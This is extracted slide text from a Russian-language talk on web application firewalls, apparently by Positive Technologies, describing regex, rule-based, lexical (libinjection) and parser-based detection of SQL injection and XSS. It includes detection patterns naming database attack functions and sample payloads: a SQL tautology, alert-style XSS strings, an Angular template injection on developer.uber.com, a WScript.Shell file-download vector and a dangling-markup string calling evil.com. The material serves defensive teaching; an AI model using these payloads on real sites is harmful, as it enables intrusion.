SQL Injection# Detect SQL Comment Sequences(/\*!?|\*/|[';]--|--[\s\r\n\v\f]|(?:--[^-]*?-)|([^\-&])#.*?[\s\r\n\v\f]|;?\\x00)# SQL Hex Evasion Methods(?i:(?:\A|[^\d])0x[a-f\d]{3,}[a-f\d]*)+# String Termination/Statement Ending Injection Testing(^[\"'`´’‘;]+|[\"'`´’‘;]+$)# SQL Operators(?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|\bxor\b|\brlike\b|\bregexp\b|\bisnull\b)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:\bxor\b|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary))# SQL Tautologies (?i:([\s'\"`´’‘\(\)]*?)\b([\d\w]++)([\s'\"`´’‘\(\)]*?)(?:(?:=|<=>|r?like|sounds\s+like|regexp)([\s'\"`´’‘\(\)]*?)\2\b|(?:!=|<=|>=|<>|<|>|\^|is\s+not|not\s+like|not\s+regexp)([\s'\"`´’‘\(\)]*?)(?!\2)([\d\w]+)\b))# Detect DB Names(?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|aster\.\.sysdatabases|ysql\.db)|s(?:ys(?:\.database_name|aux)|chema(?:\W*\(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)e\W*\(|information_schema|pg_(catalog|toast)|northwind|tempdb))

Page 87: Кто сказал «WAF»?

ЗаголовокЛексический подход

SQL Injection(?i:\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_(aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|case|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stampdiff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(base64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(add|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt)|v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ight_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)\W*\(|\b(?:(?:s(?:elect\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_ntsec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nion\b.{1,100}?\bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|elete\b\W*?\bfrom)|group\b.*\bby\b.{1,100}?\bhaving|open(?:rowset|owa_util|query)|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|print\b\W*?\@\@|cast\b\W*?\()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)\W*\(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)\W*\(|llation\W*\(a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)\W*\(|bms_\w+\.\b)|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|\butl_inaddr\b|\bsys_context\b|'(?:s(?:qloledb|a)|msdasql|dbo)'))

Page 88: Кто сказал «WAF»?

Заголовок

Регулярные выражения – определение языка атак

Правила – определение контекста и логики

Правила• Условия• Ограничения• Контекст• Источники• Корреляции• Реакции

Правила

Page 89: Кто сказал «WAF»?

ЗаголовокПример правил CloudFlare WAF

Anonymous Attack

rule 1234567A Simple POST botnet REQUEST_METHOD is POST and REQUEST_URI is /q deny

rule 12345679 Anonymous attack REQUEST_METHOD is GET and REQUEST_URI begins /?msg=Nous%20sommes%20Anonymous deny

Simple POST Botnet

Page 90: Кто сказал «WAF»?

ЗаголовокПример правил: ModSecurity

Heuristic Checks## -=[ Heuristic Checks ]=-## [ Repeatative Non-Word Chars ]## This rule attempts to identify when multiple (4 or more) non-word characters are repeated in sequence#SecRule ARGS "\W{4,}" "phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',accuracy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"

Page 91: Кто сказал «WAF»?

ЗаголовокПример правил: PT AF

Reflected File Download{ "rule": { "and": [ { "REQUEST_URI": { "regex": "(?:\\/[^\\?\\/]+\\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\\;[^\\?\\/]*)?\\?)|\\?.+\\=.*(?:(?:ActiveXObject|CreateObject|Exec)\\((?:\\x22|')|\\((?:'|\\x22)WScript\\.Shell)" } }, { "RESPONSE_HEADERS;content-disposition": { "itext": "attachment" } } ] }}

Page 92: Кто сказал «WAF»?

Заголовок

Лексико-сигнатурный подход

Page 93: Кто сказал «WAF»?

Заголовок

Предложил Nil Galbreath в 2012 для обнаружения SQL-инъекций

Позднее данный подход был адаптирован для обнаружения XSS

Реализован в библиотеке libinjection

Основные идеи

• Выполняется токенизация значения в соответствии с заданной грамматикой в 3-х контекстах

• Строится свертка

• Последовательность первых пяти токенов ищется в базе сигнатур

• База сигнатур строится по популярным векторам атак

Лексико-сигнатурный подход

Page 94: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

1

Page 95: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context AS_IS = 42" or "1"="1" --1

Page 96: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context AS_IS = 42" or "1"="1" --1

('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string

Токены

Page 97: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context AS_IS = 42" or "1"="1" --1

('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string

Токены1s1s1s

Сигнатура

Page 98: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context AS_IS = 42" or "1"="1" --1

('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string

Токены Сигнатура1s1s1s

Page 99: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

2

Page 100: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context SINGLE_QUOTE = '42" or "1"="1" --2

Page 101: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context SINGLE_QUOTE = '42" or "1"="1" --2

('s', ' \'42" or "1"="1" --'): string

Токены

Page 102: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context SINGLE_QUOTE = '42" or "1"="1" --2

('s', ' \'42" or "1"="1" --'): string

Токеныs

Сигнатура

Page 103: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context SINGLE_QUOTE = '42" or "1"="1" --2

('s', ' \'42" or "1"="1" --'): string

Токеныs

Сигнатура

Page 104: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

3

Page 105: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context DOUBLE_QUOTES = "42" or "1"="1" --3

Page 106: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context DOUBLE_QUOTES = "42" or "1"="1" --3

('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment

Токены

Page 107: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context DOUBLE_QUOTES = "42" or "1"="1" --3

('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment

Токеныs&sos

Сигнатура

Page 108: Кто сказал «WAF»?

ЗаголовокПример

input = 42" or "1"="1" --

Context DOUBLE_QUOTES = "42" or "1"="1" --3

('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment

Токеныs&sos

Сигнатура

Page 109: Кто сказал «WAF»?

Заголовок

&(1)U&(1)o&(1o(&(1of&(1os&(1ov&(f()&(nof&(nos&(nov&(s)U

Примеры сигнатур

https://github.com/client9/libinjection/blob/master/src/fingerprints.txt

Page 110: Кто сказал «WAF»?

ЗаголовокПроблема ложных срабатываний

POST /app HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Text=Dancin' like a robot on fire

Page 111: Кто сказал «WAF»?

Заголовок

Синтаксический подход

Page 112: Кто сказал «WAF»?

Заголовок

Впервые применение парсеров для обнаружения инъекций было описано в работе Роберта Хансена и Мередит Паттерсон «Guns and Butter: Towards Formal Axioms of Input Validation» для Black Hat 2005

«Сontext-free parse tree validation»• По известным запросам приложения грамматика для SQL преобразуется в грамматику

для subSQL• По построенной грамматике генерируется парсер• Парсер subSQL распознает только цепочки подъязыка SQL этого приложения

Robert J. Hansen, Meredith L. Patterson. Guns and Butter: Towards Formal Axioms of Input Validation

Синтаксический подход

Page 113: Кто сказал «WAF»?

Заголовок

Ленивые – эвристическое использование готовых парсеров, в идеале – парсеров целевых компьютерных систем, для предотвращения уязвимостей типа «parser differentials»

• DOMPurify• DOMSanitizer

Грамматические• libdetection (Wallarm)• libdejection (PT AF)

Граничные методы

Page 114: Кто сказал «WAF»?

Заголовок

Строка s - инъекция для языка L(G), если в построенном дереве разбора s по грамматике G содержится хотя бы одна опасная инструкция

• 11111• alert(1)

Базовая идея – с использованием готового парсера построить дерево разбора; если дерево разбора содержит запрещенные узлы-нетерминалы, то исходная строка является инъекцией

Характеристики подхода• Возможность использования готовых парсеров• Универсальность• Эвристичность• Различимость парсеров

Ленивый метод

Page 115: Кто сказал «WAF»?

ЗаголовокПример: DOM-based XSS

http://ex.com/foo.html#11111

var input = location.hash.slice(1);  document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");  

<script> var foo = 11111; <script>  

Program ExpressionStatement Literal

Page 116: Кто сказал «WAF»?

ЗаголовокПример: DOM-based XSS

http://ex.com/foo.html#1;alert(1);

var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");  

<script> var foo = 1;alert(1); <script>  

Program ExpressionStatement Literal ExpressionStatement CallExpression Identifier Literal

Page 117: Кто сказал «WAF»?

Заголовок

Запрещенные нетерминалы (опасные конструкции) в простейшем случае задаются перечнем типов узлов

Для уменьшения числа ложных срабатываний могут быть использованы дополнительные проверки на основе родительских или дочерних узлов

Что делать, когда дерево разбора не может быть построено? ""};alert(1);var f={t:"

Поиск вредоносного кода

Page 118: Кто сказал «WAF»?

ЗаголовокПарсер acorn для обнаружения XSS

function sanitize(dirty) {      var acorn = require('acorn'), detected  = false, clean = '', tree ;         acorn.plugins.detectCallExpression = function(parser) {          parser.extend('finishNode', function(nextMethod) {              return function(code, node) {                  if(node === 'CallExpression') {                      detected = true;                  }                     return nextMethod.call(this, code, node);              }          })      };            tree = acorn.parse(payload, {plugins: {detectCallExpression: true}});      if (detected) {          return clean;      }      return dirty;  }  

Page 119: Кто сказал «WAF»?

Заголовок

Вход: строка S, контекст CTXВыход: является ли S инъекцией в контексте CTX?1. Построить tokens – список токенов s в CTX2. Построить дерево разбора для S в CTX3. Если в дереве есть запрещенные узлы, то S – инъекция4. Иначе удалить из S следующий токен5. Если S – непустая строка, то перейти на шаг 2

Метод поиска с левым приведением

Page 120: Кто сказал «WAF»?

ЗаголовокПример

nodes = {CallExpression}s = "});alert(1);var f=({t:"ctxs = "

1

Page 121: Кто сказал «WAF»?

ЗаголовокПример

nodes = {CallExpression}s = "});alert(1);var f=({t:"ctxs = "tokens = {"", }, ), ;, alert, (, 1, ), ;, var,   , f, =, (, {, t, :, "}

2

Page 122: Кто сказал «WAF»?

ЗаголовокПример

nodes = {CallExpression}s = "});alert(1);var f=({t:"ctxs = "tokens = {"", }, ), ;, alert, (, 1, ), ;, var,   , f, =, (, {, t, :, "}ctx = ""});alert(1);var f =({t:"parse(ctx): Unexpected token (1:2)

3

Page 123: Кто сказал «WAF»?

ЗаголовокПример

nodes = {CallExpression}s = "});alert(1);var f=({t:"ctxs = "tokens = {"", }, ), ;, alert, (, 1, ), ;, var,   , f, =, (, {, t, :, "}ctx = });alert(1);var f =({t:"parse(ctx): Unexpected token (1:0)

4

Page 124: Кто сказал «WAF»?

ЗаголовокПример

nodes = {CallExpression}s = "});alert(1);var f=({t:"ctxs = "tokens = {"", }, ), ;, alert, (, 1, ), ;, var,   , f, =, (, {, t, :, "}ctx = );alert(1);var f =({t:"parse(ctx): Unexpected token (1:0)

5

Page 125: Кто сказал «WAF»?

ЗаголовокПример

nodes = {CallExpression}s = "});alert(1);var f=({t:"ctxs = "tokens = {"", }, ), ;, alert, (, 1, ), ;, var,   , f, =, (, {, t, :, "}ctx = ;alert(1);var f =({t:"parse(ctx): Program

6

Page 126: Кто сказал «WAF»?

ЗаголовокПример

7Program

EmptyStatement ExpressionStatement

alert

CallExpression

arguments

1

nodes = {CallExpression}ctx = ;alert(1);var f =({t:"

Page 127: Кто сказал «WAF»?

ЗаголовокПримеры обнаруживаемых векторов

http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");//

Internet Explorer Reflected File Download

Reflected XSS on developer.uber.com via Angular template injection

ES6 alert`1`

https://developer.uber.com/docs/deep-linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz

Page 128: Кто сказал «WAF»?

Заголовок

Встроенное распознавание

Page 129: Кто сказал «WAF»?

ЗаголовокDOM и DOMParser

DOMParser – интерфейс для парсинга и сериализации DOM

var s = '<img src=1 "x" "y" onload="onload"="alert(1)" >'var p = new DOMParser();var d = p.parseFromString(s, 'text/html');console.log(d.body.innerHTML);// IE 10// <img onload="onload" src="1" "x"="" "y"="" ="alert(1)"="">// FF// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">// Chrome// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">

Page 130: Кто сказал «WAF»?

Заголовок

"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG"

Адрес проектаhttps://github.com/cure53/DOMPurify

Особенности• Точный механизм• Инструмент для разработчиков• Удаление вредоносного и запрещенного кода из HTML / MathML / SVG• Поддерживает механизм хуков

DOMPurify

Page 131: Кто сказал «WAF»?

ЗаголовокDOMPurify

var _initDocument = function(dirty) { /* Create a HTML document using DOMParser */ var doc, body; try { doc = new DOMParser().parseFromString(dirty, 'text/html'); } catch (e) {}

/* Some browsers throw, some browsers return null for the code above DOMParser with text/html support is only in very recent browsers. See #159 why the check here is extra-thorough */ if (!doc || !doc.documentElement) { doc = implementation.createHTMLDocument(''); body = doc.body; body.parentNode.removeChild(body.parentNode.firstElementChild); body.outerHTML = dirty; }

…};

Page 132: Кто сказал «WAF»?

ЗаголовокЧто может DOMPurify

Предотвращать атаки XSS (в том числе для jQuery)

var dirty = '<a>123<b>456<script>alert(1)<\/script></b></a>789';  var clean = DOMPurify.sanitize(dirty, {FORBID_TAGS: ['a', 'b']});  clean; //123456789  

var dirty = '<img src=x name=createElement><img src=y id=createElement>';  var clean = DOMPurify.sanitize(dirty);  clean; // "<img src="x"><img src="y">"  

var dirty = '<img src="http://evil.com/log.cgi?';  var clean = DOMPurify.sanitize(dirty);  clean; // ""  

Предотвращать атаки DOM Clobbering

Предотвращать атаки Dangling Markup Injection

Page 133: Кто сказал «WAF»?

ЗаголовокDOMPurify для WAF

function sanitize(s) {      var clean = '';      DOMPurify.sanitize(s);      if (DOMPurify.removed.length > 0)) {          return clean;      }      return s;  }  

ε, dompurify.removed(x) ≠ 0

x, dompurify.removed(x) = 0sanitize(x) =

Page 134: Кто сказал «WAF»?

ЗаголовокНормализация

Использование API браузера для нормализации

var normalizeInput = function(s) { var tmp; var textArea = document.createElement('textarea'); do { tmp = s; textArea.innerHTML = s; s = textArea.value; try { s = decodeURIComponent(s); } catch (e) {} } while (tmp !== s); return s;};

Page 135: Кто сказал «WAF»?

Заголовок

Материалы

Page 136: Кто сказал «WAF»?

ЗаголовокКниги

Page 137: Кто сказал «WAF»?

ЗаголовокCopyrights

В презентации использованы следующие материалы:

В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума?

Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript.

А. Петухов. Обзор ограничений современных технологий в области ИБ.I. Markovic. HTTP Parameter Contamination.

I. Ristic. Protocol-Level Evasaion of Web Application Firewalls.

Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications.D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC

S. Bratus, M. Patterson, etc. Security Applications of Formal Language Theory

S. Bratus, M. Patterson, etc. A Taxonomy of LangSec Errors and How to Expunge Them

Page 138: Кто сказал «WAF»?

Заголовок

ptsecurity.com

Спасибо!Спасибо!